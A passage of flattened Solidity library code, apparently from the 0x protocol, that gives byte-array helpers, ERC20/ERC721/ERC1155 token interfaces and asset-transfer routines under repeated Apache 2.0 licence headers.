// We use a signed comparisson here to allow dEnd to become
// negative (happens when source and dest < 32). Valid
// addresses in local memory will never be larger than
// 2**255, so they can be safely re-interpreted as signed.
// Note: the first check is always true,
// this could have been a do-while loop.
// solhint-disable-next-line no-empty-blocks
for {} slt(dest, dEnd) {} {
mstore(dEnd, mload(sEnd))
sEnd := sub(sEnd, 32)
dEnd := sub(dEnd, 32)
}
// Write the first 32 bytes
mstore(dest, first)
}
}
}
}
/// @dev Returns a slices from a byte array.
/// @param b The byte array to take a slice from.
/// @param from The starting index for the slice (inclusive).
/// @param to The final index for the slice (exclusive).
/// @return result The slice containing bytes at indices [from, to)
function slice(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
// Ensure that the from and to positions are valid positions for a slice within
// the byte array that is being used.
if (from > to) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired,
from,
to
));
}
if (to > b.length) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired,
to,
b.length
));
}
// Create a new bytes structure and copy contents
result = new bytes(to - from);
memCopy(
result.contentAddress(),
b.contentAddress() + from,
result.length
);
return result;
}
/// @dev Returns a slice from a byte array without preserving the input.
/// @param b The byte array to take a slice from. Will be destroyed in the process.
/// @param from The starting index for the slice (inclusive).
/// @param to The final index for the slice (exclusive).
/// @return result The slice containing bytes at indices [from, to)
/// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted.
function sliceDestructive(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
// Ensure that the from and to positions are valid positions for a slice within
// the byte array that is being used.
if (from > to) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired,
from,
to
));
}
if (to > b.length) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired,
to,
b.length
));
}
// Create a new bytes structure around [from, to) in-place.
assembly {
result := add(b, from)
mstore(result, sub(to, from))
}
return result;
}
/// @dev Pops the last byte off of a byte array by modifying its length.
/// @param b Byte array that will be modified.
/// @return The byte that was popped off.
function popLastByte(bytes memory b)
internal
pure
returns (bytes1 result)
{
if (b.length == 0) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanZeroRequired,
b.length,
0
));
}
// Store last byte.
result = b[b.length - 1];
assembly {
// Decrement length of byte array.
let newLen := sub(mload(b), 1)
mstore(b, newLen)
}
return result;
}
/// @dev Tests equality of two byte arrays.
/// @param lhs First byte array to compare.
/// @param rhs Second byte array to compare.
/// @return True if arrays are the same. False otherwise.
function equals(
bytes memory lhs,
bytes memory rhs
)
internal
pure
returns (bool equal)
{
// Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare.
// We early exit on unequal lengths, but keccak would also correctly
// handle this.
return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs);
}
/// @dev Reads an address from a position in a byte array.
/// @param b Byte array containing an address.
/// @param index Index in byte array of address.
/// @return address from byte array.
function readAddress(
bytes memory b,
uint256 index
)
internal
pure
returns (address result)
{
if (b.length < index + 20) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired,
b.length,
index + 20 // 20 is length of address
));
}
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Read address from array memory
assembly {
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 20-byte mask to obtain address
result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
/// @dev Writes an address into a specific position in a byte array.
/// @param b Byte array to insert address into.
/// @param index Index in byte array of address.
/// @param input Address to put into byte array.
function writeAddress(
bytes memory b,
uint256 index,
address input
)
internal
pure
{
if (b.length < index + 20) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired,
b.length,
index + 20 // 20 is length of address
));
}
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Store address into array memory
assembly {
// The address occupies 20 bytes and mstore stores 32 bytes.
// First fetch the 32-byte word where we'll be storing the address, then
// apply a mask so we have only the bytes in the word that the address will not occupy.
// Then combine these bytes with the address and store the 32 bytes back to memory with mstore.
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address
let neighbors := and(
mload(add(b, index)),
0xffffffffffffffffffffffff0000000000000000000000000000000000000000
)
// Make sure input address is clean.
// (Solidity does not guarantee this)
input := and(input, 0xffffffffffffffffffffffffffffffffffffffff)
// Store the neighbors and address into memory
mstore(add(b, index), xor(input, neighbors))
}
}
/// @dev Reads a bytes32 value from a position in a byte array.
/// @param b Byte array containing a bytes32 value.
/// @param index Index in byte array of bytes32 value.
/// @return bytes32 value from byte array.
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
if (b.length < index + 32) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired,
b.length,
index + 32
));
}
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
/// @dev Writes a bytes32 into a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input bytes32 to put into byte array.
function writeBytes32(
bytes memory b,
uint256 index,
bytes32 input
)
internal
pure
{
if (b.length < index + 32) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired,
b.length,
index + 32
));
}
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
mstore(add(b, index), input)
}
}
/// @dev Reads a uint256 value from a position in a byte array.
/// @param b Byte array containing a uint256 value.
/// @param index Index in byte array of uint256 value.
/// @return uint256 value from byte array.
function readUint256(
bytes memory b,
uint256 index
)
internal
pure
returns (uint256 result)
{
result = uint256(readBytes32(b, index));
return result;
}
/// @dev Writes a uint256 into a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input uint256 to put into byte array.
function writeUint256(
bytes memory b,
uint256 index,
uint256 input
)
internal
pure
{
writeBytes32(b, index, bytes32(input));
}
/// @dev Reads an unpadded bytes4 value from a position in a byte array.
/// @param b Byte array containing a bytes4 value.
/// @param index Index in byte array of bytes4 value.
/// @return bytes4 value from byte array.
function readBytes4(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes4 result)
{
if (b.length < index + 4) {
LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(
LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsFourRequired,
b.length,
index + 4
));
}
// Arrays are prefixed by a 32 byte length field
index += 32;
// Read the bytes4 from array memory
assembly {
result := mload(add(b, index))
// Solidity does not require us to clean the trailing bytes.
// We do it anyway
result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
}
return result;
}
/// @dev Writes a new length to a byte array.
/// Decreasing length will lead to removing the corresponding lower order bytes from the byte array.
/// Increasing length may lead to appending adjacent in-memory bytes to the end of the byte array.
/// @param b Bytes array to write new length to.
/// @param length New length of byte array.
function writeLength(bytes memory b, uint256 length)
internal
pure
{
assembly {
mstore(b, length)
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IERC20Token {
// solhint-disable no-simple-event-func-name
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
/// @dev send `value` token to `to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return True if transfer was successful
function transfer(address _to, uint256 _value)
external
returns (bool);
/// @dev send `value` token to `to` from `from` on the condition it is approved by `from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return True if transfer was successful
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool);
/// @dev `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Always true if the call has enough gas to complete execution
function approve(address _spender, uint256 _value)
external
returns (bool);
/// @dev Query total supply of token
/// @return Total supply of token
function totalSupply()
external
view
returns (uint256);
/// @param _owner The address from which the balance will be retrieved
/// @return Balance of owner
function balanceOf(address _owner)
external
view
returns (uint256);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender)
external
view
returns (uint256);
}
library LibERC20Token {
bytes constant private DECIMALS_CALL_DATA = hex"313ce567";
/// @dev Calls `IERC20Token(token).approve()`.
/// Reverts if `false` is returned or if the return
/// data length is nonzero and not 32 bytes.
/// @param token The address of the token contract.
/// @param spender The address that receives an allowance.
/// @param allowance The allowance to set.
function approve(
address token,
address spender,
uint256 allowance
)
internal
{
bytes memory callData = abi.encodeWithSelector(
IERC20Token(0).approve.selector,
spender,
allowance
);
_callWithOptionalBooleanResult(token, callData);
}
/// @dev Calls `IERC20Token(token).approve()` and sets the allowance to the
/// maximum if the current approval is not already >= an amount.
/// Reverts if `false` is returned or if the return
/// data length is nonzero and not 32 bytes.
/// @param token The address of the token contract.
/// @param spender The address that receives an allowance.
/// @param amount The minimum allowance needed.
function approveIfBelow(
address token,
address spender,
uint256 amount
)
internal
{
if (IERC20Token(token).allowance(address(this), spender) < amount) {
approve(token, spender, uint256(-1));
}
}
/// @dev Calls `IERC20Token(token).transfer()`.
/// Reverts if `false` is returned or if the return
/// data length is nonzero and not 32 bytes.
/// @param token The address of the token contract.
/// @param to The address that receives the tokens
/// @param amount Number of tokens to transfer.
function transfer(
address token,
address to,
uint256 amount
)
internal
{
bytes memory callData = abi.encodeWithSelector(
IERC20Token(0).transfer.selector,
to,
amount
);
_callWithOptionalBooleanResult(token, callData);
}
/// @dev Calls `IERC20Token(token).transferFrom()`.
/// Reverts if `false` is returned or if the return
/// data length is nonzero and not 32 bytes.
/// @param token The address of the token contract.
/// @param from The owner of the tokens.
/// @param to The address that receives the tokens
/// @param amount Number of tokens to transfer.
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
bytes memory callData = abi.encodeWithSelector(
IERC20Token(0).transferFrom.selector,
from,
to,
amount
);
_callWithOptionalBooleanResult(token, callData);
}
/// @dev Retrieves the number of decimals for a token.
/// Returns `18` if the call reverts.
/// @param token The address of the token contract.
/// @return tokenDecimals The number of decimals places for the token.
function decimals(address token)
internal
view
returns (uint8 tokenDecimals)
{
tokenDecimals = 18;
(bool didSucceed, bytes memory resultData) = token.staticcall(DECIMALS_CALL_DATA);
if (didSucceed && resultData.length == 32) {
tokenDecimals = uint8(LibBytes.readUint256(resultData, 0));
}
}
/// @dev Retrieves the allowance for a token, owner, and spender.
/// Returns `0` if the call reverts.
/// @param token The address of the token contract.
/// @param owner The owner of the tokens.
/// @param spender The address the spender.
/// @return allowance The allowance for a token, owner, and spender.
function allowance(address token, address owner, address spender)
internal
view
returns (uint256 allowance_)
{
(bool didSucceed, bytes memory resultData) = token.staticcall(
abi.encodeWithSelector(
IERC20Token(0).allowance.selector,
owner,
spender
)
);
if (didSucceed && resultData.length == 32) {
allowance_ = LibBytes.readUint256(resultData, 0);
}
}
/// @dev Retrieves the balance for a token owner.
/// Returns `0` if the call reverts.
/// @param token The address of the token contract.
/// @param owner The owner of the tokens.
/// @return balance The token balance of an owner.
function balanceOf(address token, address owner)
internal
view
returns (uint256 balance)
{
(bool didSucceed, bytes memory resultData) = token.staticcall(
abi.encodeWithSelector(
IERC20Token(0).balanceOf.selector,
owner
)
);
if (didSucceed && resultData.length == 32) {
balance = LibBytes.readUint256(resultData, 0);
}
}
/// @dev Executes a call on address `target` with calldata `callData`
/// and asserts that either nothing was returned or a single boolean
/// was returned equal to `true`.
/// @param target The call target.
/// @param callData The abi-encoded call data.
function _callWithOptionalBooleanResult(
address target,
bytes memory callData
)
private
{
(bool didSucceed, bytes memory resultData) = target.call(callData);
if (didSucceed) {
if (resultData.length == 0) {
return;
}
if (resultData.length == 32) {
uint256 result = LibBytes.readUint256(resultData, 0);
if (result == 1) {
return;
}
}
}
LibRichErrors.rrevert(resultData);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IERC721Token {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// perator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param _data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
)
external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId)
external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved)
external;
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner)
external
view
returns (uint256);
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public;
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId)
public
view
returns (address);
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId)
public
view
returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator)
public
view
returns (bool);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title ERC-1155 Multi Token Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md
/// Note: The ERC-165 identifier for this interface is 0xd9b67a26.
interface IERC1155 {
/// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred,
/// including zero value transfers as well as minting or burning.
/// Operator will always be msg.sender.
/// Either event from address `0x0` signifies a minting operation.
/// An event to address `0x0` signifies a burning or melting operation.
/// The total value transferred from address 0x0 minus the total value transferred to 0x0 may
/// be used by clients and exchanges to be added to the "circulating supply" for a given token ID.
/// To define a token ID with no initial balance, the contract SHOULD emit the TransferSingle event
/// from `0x0` to `0x0`, with the token creator as `_operator`.
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value
);
/// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred,
/// including zero value transfers as well as minting or burning.
///Operator will always be msg.sender.
/// Either event from address `0x0` signifies a minting operation.
/// An event to address `0x0` signifies a burning or melting operation.
/// The total value transferred from address 0x0 minus the total value transferred to 0x0 may
/// be used by clients and exchanges to be added to the "circulating supply" for a given token ID.
/// To define multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event
/// from `0x0` to `0x0`, with the token creator as `_operator`.
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/// @dev MUST emit when an approval is updated.
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/// @dev MUST emit when the URI is updated for a token ID.
/// URIs are defined in RFC 3986.
/// The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema".
event URI(
string value,
uint256 indexed id
);
/// @notice Transfers value amount of an _id from the _from address to the _to address specified.
/// @dev MUST emit TransferSingle event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if balance of sender for token `_id` is lower than the `_value` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`.
/// @param from Source address
/// @param to Target address
/// @param id ID of the token type
/// @param value Transfer amount
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 value,
bytes calldata data
)
external;
/// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call).
/// @dev MUST emit TransferBatch event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if length of `_ids` is not the same as length of `_values`.
/// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`.
/// @param from Source addresses
/// @param to Target addresses
/// @param ids IDs of each token type
/// @param values Transfer amounts per token type
/// @param data Additional data with no specified format, sent in call to `_to`
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external;
/// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
/// @dev MUST emit the ApprovalForAll event on success.
/// @param operator Address to add to the set of authorized operators
/// @param approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address operator, bool approved) external;
/// @notice Queries the approval status of an operator for a given owner.
/// @param owner The owner of the Tokens
/// @param operator Address of authorized operator
/// @return True if the operator is approved, false if not
function isApprovedForAll(address owner, address operator) external view returns (bool);
/// @notice Get the balance of an account's Tokens.
/// @param owner The address of the token holder
/// @param id ID of the Token
/// @return The _owner's balance of the Token type requested
function balanceOf(address owner, uint256 id) external view returns (uint256);
/// @notice Get the balance of multiple account/token pairs
/// @param owners The addresses of the token holders
/// @param ids ID of the Tokens
/// @return The _owner's balance of the Token types requested
function balanceOfBatch(
address[] calldata owners,
uint256[] calldata ids
)
external
view
returns (uint256[] memory balances_);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibAssetDataTransferRichErrors {
// bytes4(keccak256("UnsupportedAssetProxyError(bytes4)"))
bytes4 internal constant UNSUPPORTED_ASSET_PROXY_ERROR_SELECTOR =
0x7996a271;
// bytes4(keccak256("Erc721AmountMustEqualOneError(uint256)"))
bytes4 internal constant ERC721_AMOUNT_MUST_EQUAL_ONE_ERROR_SELECTOR =
0xbaffa474;
// solhint-disable func-name-mixedcase
function UnsupportedAssetProxyError(
bytes4 proxyId
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UNSUPPORTED_ASSET_PROXY_ERROR_SELECTOR,
proxyId
);
}
function Erc721AmountMustEqualOneError(
uint256 amount
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ERC721_AMOUNT_MUST_EQUAL_ONE_ERROR_SELECTOR,
amount
);
}
}
library LibAssetDataTransfer {
using LibBytes for bytes;
using LibSafeMath for uint256;
using LibAssetDataTransfer for bytes;
/// @dev Transfers given amount of asset to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param from Address to transfer asset from.
/// @param to Address to transfer asset to.
/// @param amount Amount of asset to transfer to sender.
function transferFrom(
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{
if (amount == 0) {
return;
}
bytes4 proxyId = assetData.readBytes4(0);
if (
proxyId == IAssetData(address(0)).ERC20Token.selector ||
proxyId == IAssetData(address(0)).ERC20Bridge.selector
) {
assetData.transferERC20Token(
from,
to,
amount
);
} else if (proxyId == IAssetData(address(0)).ERC721Token.selector) {
assetData.transferERC721Token(
from,
to,
amount
);
} else if (proxyId == IAssetData(address(0)).ERC1155Assets.selector) {
assetData.transferERC1155Assets(
from,
to,
amount
);
} else if (proxyId == IAssetData(address(0)).MultiAsset.selector) {
assetData.transferMultiAsset(
from,
to,
amount
);
} else if (proxyId != IAssetData(address(0)).StaticCall.selector) {
LibRichErrors.rrevert(LibAssetDataTransferRichErrors.UnsupportedAssetProxyError(
proxyId
));
}
}
///@dev Transfer asset from sender to this contract.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of asset to transfer to sender.
function transferIn(
bytes memory assetData,
uint256 amount
)
internal
{
assetData.transferFrom(
msg.sender,
address(this),
amount
);
}
///@dev Transfer asset from this contract to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of asset to transfer to sender.
function transferOut(
bytes memory assetData,
uint256 amount
)
internal
{
assetData.transferFrom(
address(this),
msg.sender,
amount
);
}
/// @dev Decodes ERC20 or ERC20Bridge assetData and transfers given amount to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param from Address to transfer asset from.
/// @param to Address to transfer asset to.
/// @param amount Amount of asset to transfer to sender.
function transferERC20Token(
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{
address token = assetData.readAddress(16);
// Transfer tokens.
if (from == address(this)) {
LibERC20Token.transfer(
token,
to,
amount
);
} else {
LibERC20Token.transferFrom(
token,
from,
to,
amount
);
}
}
/// @dev Decodes ERC721 assetData and transfers given amount to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param from Address to transfer asset from.
/// @param to Address to transfer asset to.
/// @param amount Amount of asset to transfer to sender.
function transferERC721Token(
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{
if (amount != 1) {
LibRichErrors.rrevert(LibAssetDataTransferRichErrors.Erc721AmountMustEqualOneError(
amount
));
}
// Decode asset data.
address token = assetData.readAddress(16);
uint256 tokenId = assetData.readUint256(36);
// Perform transfer.
IERC721Token(token).transferFrom(
from,
to,
tokenId
);
}
/// @dev Decodes ERC1155 assetData and transfers given amounts to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param from Address to transfer asset from.
/// @param to Address to transfer asset to.
/// @param amount Amount of asset to transfer to sender.
function transferERC1155Assets(
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{
// Decode assetData
// solhint-disable
(
address token,
uint256[] memory ids,
uint256[] memory values,
bytes memory data
) = abi.decode(
assetData.slice(4, assetData.length),
(address, uint256[], uint256[], bytes)
);
// solhint-enable
// Scale up values by `amount`
uint256 length = values.length;
uint256[] memory scaledValues = new uint256[](length);
for (uint256 i = 0; i != length; i++) {
scaledValues[i] = values[i].safeMul(amount);
}
// Execute `safeBatchTransferFrom` call
// Either succeeds or throws
IERC1155(token).safeBatchTransferFrom(
from,
to,
ids,
scaledValues,
data
);
}
/// @dev Decodes MultiAsset assetData and recursively transfers assets to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param from Address to transfer asset from.
/// @param to Address to transfer asset to.
/// @param amount Amount of asset to transfer to sender.
function transferMultiAsset(
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{
// solhint-disable indent
(uint256[] memory nestedAmounts, bytes[] memory nestedAssetData) = abi.decode(
assetData.slice(4, assetData.length),
(uint256[], bytes[])
);
// solhint-enable indent
uint256 numNestedAssets = nestedAssetData.length;
for (uint256 i = 0; i != numNestedAssets; i++) {
transferFrom(
nestedAssetData[i],
from,
to,
amount.safeMul(nestedAmounts[i])
);
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations \under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IEtherToken is
IERC20Token
{
function deposit()
public
payable;
function withdraw(uint256 amount)
public;
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
